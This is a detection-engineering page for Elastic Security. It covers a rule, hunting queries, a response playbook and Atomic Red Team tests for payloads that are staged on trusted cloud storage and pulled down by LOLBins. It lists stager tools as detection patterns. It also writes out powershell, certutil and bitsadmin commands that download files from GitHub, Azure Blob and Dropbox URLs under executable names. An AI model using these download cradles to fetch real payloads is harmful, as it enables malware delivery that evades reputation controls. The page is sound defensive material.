Detect Adversary Payload Staged on Trusted Consumer Cloud Storage and Pulled by Non-Browser Process in Elastic Security
A large share of intrusion chains no longer stage second-stage payloads on adversary-registered domains. Instead the operator uploads the payload to a trusted consumer cloud-storage or code-hosting service — raw.githubusercontent.com, an Azure Blob Storage container (*.blob.core.windows.net), Google Drive (drive.google.com / drive.usercontent.google.com), or a Dropbox direct-download host (dropboxusercontent.com) — and points the victim-side loader at that URL. These hostnames carry near-universal TLS allowlisting, valid certificates from major CAs, and a reputation score no domain blocklist will ever flag, so the retrieval itself passes every reputation-based control an organisation owns. Groups including APT29 and Lazarus, plus the commodity loader crews behind Bumblebee and Qakbot, have all used this pattern, and it is cheap to rebuild: a burned gist or blob container is replaced in minutes with no registration paperwork. Because the destination is definitionally benign, detection must key on the requesting side of the transaction rather than on the destination. This rule fires on the combination that is not benign: a non-browser process — a script host or LOLBin such as powershell.exe, curl.exe, certutil.exe, or bitsadmin.exe — reaching one of these staging hosts and, within a short window, writing an executable, library, installer, or script payload to disk. Ordinary employee use of Google Drive, Dropbox, or GitHub happens through a browser or a signed sync client; a PowerShell process pulling an .exe out of a blob container is the staging-to-drop transition itself, observed live.
MITRE ATT&CK
- Tactic
- Resource Development
Elastic Detection Query
sequence by host.name with maxspan=5m
[
network where event.type == "connection" and network.direction == "outbound" and
destination.domain : ("raw.githubusercontent.com", "objects.githubusercontent.com",
"*.blob.core.windows.net", "drive.google.com",
"drive.usercontent.google.com", "*.dropboxusercontent.com",
"dropboxusercontent.com") and
process.name : ("powershell.exe", "pwsh.exe", "curl.exe", "certutil.exe", "bitsadmin.exe",
"wget.exe", "mshta.exe", "wscript.exe", "cscript.exe", "rundll32.exe", "regsvr32.exe")
]
[
file where event.type == "creation" and
file.extension : ("exe", "dll", "scr", "msi", "hta", "ps1", "bat", "cmd", "vbs", "jar") and
process.name : ("powershell.exe", "pwsh.exe", "curl.exe", "certutil.exe", "bitsadmin.exe",
"wget.exe", "mshta.exe", "wscript.exe", "cscript.exe", "rundll32.exe", "regsvr32.exe")
] Elastic EQL sequence correlating, within five minutes on the same host, an outbound connection from a known stager process to raw.githubusercontent.com, an Azure Blob Storage container, Google Drive, or a Dropbox direct-download host, followed by that same class of process creating an executable, library, installer, or script file. Requires Elastic Defend (or Winlogbeat with Sysmon mapped to ECS) shipping both network and file events with process enrichment.
Data Sources
Required Tables
False Positives & Tuning
- CI/CD runners and package managers invoking curl or PowerShell to fetch installers from GitHub raw URLs or from a corporate Azure Blob container
- Developer workstations fetching release binaries or bootstrap scripts from the command line
- Internal deployment scripts that stage their own signed installers in Azure Blob Storage and download them with a scripted transfer
- Backup or migration tooling wrapping AzCopy in a PowerShell driver script that both connects and writes files
Other platforms for THREAT-ResourceDev-AdversaryPayloadStagingTrustedCloudStorage
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1PowerShell Retrieves Executable-Named Object From GitHub Raw Host
Expected signal: DeviceNetworkEvents and Sysmon Event ID 3 / Event ID 22: outbound connection and DNS query from powershell.exe to raw.githubusercontent.com. DeviceFileEvents and Sysmon Event ID 11: creation of atomic_t1608_stage.exe in %TEMP% by powershell.exe within seconds of the request. Sysmon Event ID 1 records the full Invoke-WebRequest command line.
- Test 2Certutil URL Cache Retrieval From Azure Blob Storage Host
Expected signal: Sysmon Event ID 1: certutil.exe with -urlcache -split -f and a blob.core.windows.net URL ending in .exe on the command line. Sysmon Event ID 22 for the DNS resolution attempt and Event ID 3 for the outbound connection. A CryptnetUrlCache entry may be written under the user profile even when the fetch fails.
- Test 3Bitsadmin Transfer Referencing Dropbox Direct-Download Host
Expected signal: Sysmon Event ID 1: bitsadmin.exe with /transfer /download and a dropboxusercontent.com URL ending in .dll on the command line. Microsoft-Windows-Bits-Client/Operational records the job creation and its target URL. The outbound connection is attributed to the BITS service host rather than to bitsadmin.exe itself, which is why the command-line pillar matters here.
References (7)
- https://attack.mitre.org/techniques/T1608/001/
- https://attack.mitre.org/tactics/TA0042/
- https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
- https://www.microsoft.com/en-us/security/blog/2024/01/25/midnight-blizzard-guidance-for-responders-on-nation-state-attack/
- https://cloud.google.com/blog/topics/threat-intelligence/cloud-storage-abuse-malware-delivery
- https://lolbas-project.github.io/lolbas/Binaries/Certutil/
- https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/
Response Playbook
Triage
- Identify the requesting process and its full command line. A signed sync client (Dropbox.exe, GoogleDriveFS.exe, AzCopy.exe) or a known build agent is a very different finding from powershell.exe or certutil.exe — establish which it is before anything else.
- Extract the exact staged object URL, including the GitHub repo or gist path, the storage account and blob object name, the Drive file ID, or the Dropbox share key. This unique path is the primary pivot for scoping the campaign.
- Determine what was written to disk inside the correlation window: check DeviceFileEvents or Sysmon Event ID 11 for the path, extension, size, and SHA256 of the file written by the same process immediately after the request.
- Check whether the written file was subsequently executed — DeviceProcessEvents or Sysmon Event ID 1 with the downloaded file as the image, or with the downloaded DLL or script passed to rundll32.exe, regsvr32.exe, or a script host. Download followed by execution escalates this from staging to active intrusion.
- Establish the parent chain of the requesting process. A stager spawned by winword.exe, outlook.exe, explorer.exe from an extracted archive, or by a scheduled task created in the last 24 hours is far more suspicious than one spawned by an interactive console session.
- Retrieve the staged object independently from an isolated analysis host and detonate it in a sandbox; also check whether the GitHub repo or gist is newly created with a single commit, and whether the blob container permits anonymous public read.
- Query for other internal devices that requested the same staged object path over the preceding 30 days — a shared unique object path across multiple hosts indicates a campaign rather than developer behaviour.
Containment
- Isolate the affected endpoint via EDR network isolation until the retrieved payload has been classified.
- Block the specific staged object URL or path at the proxy — do not blanket-block raw.githubusercontent.com, blob.core.windows.net, drive.google.com, or dropboxusercontent.com, which would break development workflows, Azure-hosted business applications, and sanctioned file sharing.
- If the payload was executed, treat the host as compromised: capture volatile memory and a disk image, then reimage rather than attempt in-place cleanup.
- Reset credentials and revoke active session tokens for any user logged on to the host at the time of execution, and for any service account whose credentials were resident in memory.
- Report the abusive object to the hosting provider (GitHub abuse, Microsoft Azure abuse, Google, Dropbox) so the staging point is taken down for other targets as well.
- Hunt enterprise-wide for the payload SHA256, for any C2 indicators recovered from detonation, and for the same staged object path, then contain every additional host that matches.
Evidence Collection
- DeviceNetworkEvents and proxy records: full staged object URL, destination IP, TLS SNI, initiating process, user, and precise timestamp.
- DeviceFileEvents or Sysmon Event ID 11: full path, SHA256, and size of every file created by the requesting process in the five minutes following the request.
- Sysmon Event ID 1 and DeviceProcessEvents for both the requesting process and any subsequent execution of the written payload, with full command lines and the complete parent-child chain.
- PowerShell script block logs (Event ID 4104) if the stager was PowerShell — these frequently contain the full download-and-execute cradle even when the command line itself was obfuscated or encoded.
- The staged payload itself, hashed and preserved, plus sandbox detonation output covering dropped files, persistence mechanisms, and C2 configuration.
- BITS client operational log records and prefetch entries for the stager binary (CERTUTIL.EXE-*.pf, POWERSHELL.EXE-*.pf, BITSADMIN.EXE-*.pf) confirming execution and run count.
- DNS query logs (Sysmon Event ID 22) for the staging hostname in the hours before the request, to establish first-resolution time on that host.
Escalation Criteria
- !The written payload was executed, or was passed as an argument to rundll32.exe, regsvr32.exe, or a script host.
- !Sandbox detonation confirms loader, infostealer, or RAT behaviour — C2 beaconing, credential access, or retrieval of a further stage.
- !The requesting process was spawned by an Office application, an email client, or a script extracted from an archive, indicating a live phishing-to-execution chain rather than developer activity.
- !The same unique staged object path was requested by three or more internal devices, indicating an active distribution campaign.
- !The stager command line was obfuscated or base64-encoded, or used -EncodedCommand, -w hidden, or -ep bypass alongside the staging host reference.
- !The affected host holds privileged access — domain administrator session, backup infrastructure, code-signing keys, or financial systems — at the time of the download.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Sysmon Event ID 3 (Network Connection) and Event ID 22 (DNS Query) for the staging hostname, correlated to the initiating process by ProcessGuid. - >
Sysmon Event ID 11 (File Create) recording the written payload's path, hash, and creation time — the anchor for the five-minute correlation window. - >
Sysmon Event ID 1 (Process Create) for the stager and for any execution of the payload, including the full parent chain. - >
PowerShell Event ID 4104 script block logs containing the deobfuscated download cradle, and Event ID 4103 module logging for Invoke-WebRequest and Net.WebClient usage. - >
BITS client operational log (Microsoft-Windows-Bits-Client/Operational) job records when bitsadmin or the BITS PowerShell module was the transfer mechanism. - >
The certutil URL cache directory (%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache), which retains a copy of content fetched with certutil -urlcache and often survives deletion of the dropped payload. - >
Web proxy access logs preserving the full staged object path — the gist ID, blob object name, Drive file ID, or Dropbox share key needed to pivot across the estate. - >
Prefetch, Amcache, and ShimCache records for both the stager and the dropped payload, establishing first execution time.
Tuning Guidance
This detection deliberately targets hostnames that are entirely legitimate, so tuning is not optional — deploy it in audit mode for at least two weeks before alerting. Recommended sequence: (1) Baseline which non-browser processes legitimately reach these hosts in your estate and allowlist them by full image path rather than by file name alone; the usual set is Dropbox.exe, GoogleDriveFS.exe, AzCopy.exe, the package managers (choco.exe, scoop, winget.exe), and your CI agent's runner binary. (2) Carve engineering subnets and build-server device groups into a lower-severity variant of the rule; a developer running curl against raw.githubusercontent.com is normal there and pathological on a finance workstation, so segment by device group rather than weakening the rule globally. (3) Allowlist your own Azure Blob Storage accounts by their full '<account>.blob.core.windows.net' hostname rather than by the bare 'blob.core.windows.net' suffix, so corporate containers are excluded while arbitrary adversary-created storage accounts still fire. (4) Keep Pillar 1's five-minute network-to-file-write correlation window tight; widening it past ten minutes rapidly pulls in unrelated coincidental file writes by long-running processes such as PowerShell consoles. (5) Remember that KQL has_any and SPL wildcard matching perform substring matching, not hostname parsing, so 'blob.core.windows.net' also matches a lookalike such as 'evil-blob.core.windows.net.attacker.tld' — desirable here — but an internal host named 'mirror-drive.google.com.corp.local' would match too; confirm the parsed hostname during triage rather than trusting the substring. (6) Prioritise alerts where the stager's parent process is an Office application, an email client, or a script host, and where the command line carries encoding or execution-policy-bypass flags — that combination is essentially never legitimate regardless of device group. (7) Note that Pillar 1 structurally cannot fire for bitsadmin-initiated transfers, because the BITS service — not bitsadmin.exe — owns the socket; rely on Pillar 2 and on the Microsoft-Windows-Bits-Client/Operational log for that vector rather than assuming the network pillar covers it.
Hunting Queries
Broad hunt for any stager binary whose command line references a trusted consumer cloud-storage host, without requiring a payload extension or download verb. This catches retrievals where the payload is stored under a benign or extensionless object name — a common evasion against the standing rule's extension check. Expect substantial developer and CI noise on engineering estates; use the per-process summary to identify which stagers are genuinely unusual, allowlist the recurring legitimate automation, then treat the remaining hits as leads.
// Hunt: stager processes referencing trusted consumer cloud storage, regardless of extension match
DeviceProcessEvents
| where Timestamp > ago(14d)
| where FileName in~ ("powershell.exe","pwsh.exe","curl.exe","certutil.exe","bitsadmin.exe","mshta.exe","wscript.exe","cscript.exe","rundll32.exe","regsvr32.exe")
| where ProcessCommandLine has_any ("raw.githubusercontent.com","objects.githubusercontent.com","blob.core.windows.net","drive.google.com","dropboxusercontent.com")
| summarize Count = count(), Devices = make_set(DeviceName, 20), SampleCmd = any(ProcessCommandLine) by FileName
| order by Count desc index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
Image IN ("*\\powershell.exe","*\\pwsh.exe","*\\curl.exe","*\\certutil.exe","*\\bitsadmin.exe","*\\mshta.exe","*\\wscript.exe","*\\cscript.exe","*\\rundll32.exe","*\\regsvr32.exe")
(CommandLine="*raw.githubusercontent.com*" OR CommandLine="*objects.githubusercontent.com*" OR CommandLine="*blob.core.windows.net*" OR CommandLine="*drive.google.com*" OR CommandLine="*dropboxusercontent.com*")
| stats count as Count, dc(host) as UniqueHosts, values(host) as Devices, values(CommandLine) as SampleCmds by Image
| sort - Count Campaign-scoping hunt: groups non-browser requests by the staged object path and surfaces any single path pulled by three or more distinct devices. Each GitHub raw path, blob object, Drive file ID, and Dropbox share key identifies one specific uploaded file, so multiple unrelated hosts pulling the identical object via a non-browser process indicates a shared lure or a single distribution campaign rather than incidental per-user cloud storage use. Exclude known internal bootstrap scripts and corporate blob containers first, since those will legitimately be fetched fleet-wide.
// Hunt: one specific staged object path pulled by several distinct devices (shared staging point)
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteUrl has_any ("raw.githubusercontent.com","blob.core.windows.net","dropboxusercontent.com","drive.google.com")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe","iexplore.exe")
| extend StagedObject = tolower(tostring(parse_url(RemoteUrl).Path))
| where isnotempty(StagedObject)
| summarize UniqueDevices = dcount(DeviceName), Devices = make_set(DeviceName, 25), Processes = make_set(InitiatingProcessFileName, 10) by StagedObject
| where UniqueDevices >= 3
| order by UniqueDevices desc index=proxy (url="*raw.githubusercontent.com*" OR url="*blob.core.windows.net*" OR url="*dropboxusercontent.com*" OR url="*drive.google.com*")
| eval PullProcess=coalesce(process_name, app, "unknown")
| where NOT match(lower(PullProcess), "chrome|msedge|firefox|brave|opera|iexplore")
| rex field=url "https?://[^/]+(?<StagedObject>/\\S*)"
| stats dc(host) as UniqueDevices, values(host) as Devices, values(PullProcess) as Processes by StagedObject
| where UniqueDevices >= 3
| sort - UniqueDevices Atomic Red Team Tests
Uses PowerShell's Invoke-WebRequest to fetch a benign file from raw.githubusercontent.com and write it to disk with an executable extension, reproducing the exact network-then-file-write pair the primary KQL detection correlates on: a non-browser process reaching a trusted staging host and dropping a payload-extension file inside the correlation window.
Command
powershell.exe -Command "Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt' -UseBasicParsing -OutFile $env:TEMP\atomic_t1608_stage.exe" Cleanup
Remove-Item $env:TEMP\atomic_t1608_stage.exe -Force -ErrorAction SilentlyContinue Expected Telemetry
DeviceNetworkEvents and Sysmon Event ID 3 / Event ID 22: outbound connection and DNS query from powershell.exe to raw.githubusercontent.com. DeviceFileEvents and Sysmon Event ID 11: creation of atomic_t1608_stage.exe in %TEMP% by powershell.exe within seconds of the request. Sysmon Event ID 1 records the full Invoke-WebRequest command line.
Expected Detection
KQL Pillar 1 fires: the join matches powershell.exe (not in the browser allowlist) requesting raw.githubusercontent.com followed by the same process writing a .exe on the same device inside the five-minute window, SuspicionReason=TrustedCloudStagingThenExecutableWrite. KQL Pillar 2 and the SPL Sysmon branch also fire on the command line, which references both the staging host and -OutFile with a .exe path.
Invokes certutil with -urlcache -split -f against an Azure Blob Storage style URL ending in .exe, reproducing the classic certutil LOLBin download applied to a trusted cloud-storage staging point rather than to an adversary-registered domain. The storage account does not exist, so the request fails, but the command line and connection attempt are logged exactly as they would be for a real retrieval.
Command
certutil.exe -urlcache -split -f "https://atomicredteam0000.blob.core.windows.net/stage/payload.exe" %TEMP%\atomic_t1608_blob.exe Cleanup
del %TEMP%\atomic_t1608_blob.exe & certutil.exe -urlcache -split -f "https://atomicredteam0000.blob.core.windows.net/stage/payload.exe" delete Expected Telemetry
Sysmon Event ID 1: certutil.exe with -urlcache -split -f and a blob.core.windows.net URL ending in .exe on the command line. Sysmon Event ID 22 for the DNS resolution attempt and Event ID 3 for the outbound connection. A CryptnetUrlCache entry may be written under the user profile even when the fetch fails.
Expected Detection
KQL Pillar 2 fires on FileName=certutil.exe whose ProcessCommandLine references blob.core.windows.net together with .exe and urlcache, SuspicionReason=StagerCommandLineReferencesTrustedCloudPayload. The SPL Sysmon branch and the CrowdStrike CQL DnsRequest rule both match. Pillar 1 fires additionally if the download succeeds and a file is written.
Uses bitsadmin /transfer to queue a download of a DLL-named object from a Dropbox direct-download host, simulating a background-transfer stager pulling a staged library payload from trusted consumer cloud storage. BITS is favoured by loaders because the transfer is performed by a signed system service rather than by the calling process.
Command
bitsadmin.exe /transfer atomic_t1608_job /download /priority normal "https://dl.dropboxusercontent.com/s/atomictest0000/stage.dll" %TEMP%\atomic_t1608_stage.dll Cleanup
bitsadmin.exe /cancel atomic_t1608_job & del %TEMP%\atomic_t1608_stage.dll Expected Telemetry
Sysmon Event ID 1: bitsadmin.exe with /transfer /download and a dropboxusercontent.com URL ending in .dll on the command line. Microsoft-Windows-Bits-Client/Operational records the job creation and its target URL. The outbound connection is attributed to the BITS service host rather than to bitsadmin.exe itself, which is why the command-line pillar matters here.
Expected Detection
KQL Pillar 2 fires on FileName=bitsadmin.exe with a command line referencing dropboxusercontent.com plus .dll and /transfer, SuspicionReason=StagerCommandLineReferencesTrustedCloudPayload. The SPL Sysmon branch matches the same pattern. Pillar 1 will not fire from bitsadmin itself because BITS performs the transfer out-of-process — this is the documented gap the command-line pillar exists to cover.
Related Detections
Tactic Hub
Detection Variants (1)
Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.